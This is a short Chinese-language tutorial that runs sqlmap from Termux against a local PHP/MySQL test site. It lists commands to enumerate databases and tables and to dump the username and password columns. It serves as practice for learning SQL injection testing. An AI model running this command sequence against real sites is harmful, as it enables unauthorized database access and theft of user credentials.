软件我用的是termux改版utermux
服务器环境(ksweb) php7.3 mysql5 nginx

废话不多说，直接上命令

——分割线——

git clone –depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap
(下载sqlmap)

cd sqlmap
(切换到下载的目录)

python2 sqlmap.py -u “http://127.0.0.1:8003/code/main.php?id=login” –form –dbs
(扫描数据库 -u后面接的是网址)

python2 sqlmap.py -u “http://127.0.0.1:8003/code/main.php?id=login” –form -D demo –tables
(扫描demo库下的表)

python2 sqlmap.py -u “http://127.0.0.1:8003/code/main.php?id=login” –form -D demo -T test -dump
(扫描表结构)

ctrl+c
(结束脚本)

python2 sqlmap.py -u “http://127.0.0.1:8003/code/main.php?id=login” –form -D demo -T test -C “id,username,password”
(跑账号密码)

——分割线——

视频教程
https://b23.tv/HmeiEP

用到的网站源码:

感谢您的来访，获取更多精彩文章请收藏本站。